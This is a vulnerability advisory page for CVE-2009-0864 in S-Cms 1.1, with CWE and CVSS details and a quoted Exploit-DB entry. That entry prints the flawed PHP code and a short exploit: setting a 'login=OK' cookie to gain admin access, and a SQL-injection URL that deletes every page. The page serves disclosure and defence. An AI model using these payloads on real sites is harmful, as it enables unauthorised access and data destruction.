CVE-2009-0864 : Detail

CVE-2009-0864

Authorization problems
A07-Identif. and Authent. Fail
0.65%V3
Network
2009-03-10
13h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

S-Cms 1.1 Stable allows remote attackers to bypass authentication and obtain administrative access via an OK value for the login cookie.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 8071

Publication date : 2009-02-16
23h00 +00:00
Author : x0r
EDB Verified : Yes

######################################################################################### [0x01] Informations: Name : S-Cms 1.1 Stable Download : http://www.hotscripts.com/listings/jump/download/87992/ Vulnerability : Insecure Cookie Handling / Mass Page Delete Author : x0r Contact : [email protected] Notes : Proud to be Italian ######################################################################################### [0x02] Bug: Bugged file is /[path]/login_action.php ... /admin/delete_page.php [Code] $user=$_POST['username']; $pass=$_POST['password']; $select_admin = mysql_query("SELECT * FROM cms_admin"); while($dati_admin=mysql_fetch_array($select_admin)){ $username=$dati_admin['username']; $password=$dati_admin['password']; } if ($user == $username && $pass == $password){ setcookie("login", "OK", time() + $logintime); #0wn3d [/code] [CODE] $id=$_GET['id']; $delete=mysql_query("DELETE FROM cms_content WHERE id='$id'"); if ($delete){ echo ""._DELETE_PAGE_SUCCESS.""; } else { echo ""._DELETE_PAGE_ERROR.""; [/code] ######################################################################################### [0x03] Exploit: Exploit: 1- javascript:document.cookie = "login=OK; path=/" 2- http://[victim].org/path/admin/delete_page.php?id=' or 1=1/* ######################################################################################## # milw0rm.com [2009-02-17]

Products Mentioned

Configuraton 0

Matteoiammarrone>>S-cms >> Version 1.1

    References

    http://www.securityfocus.com/bid/33799
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/8071
    Tags : exploit, x_refsource_EXPLOIT-DB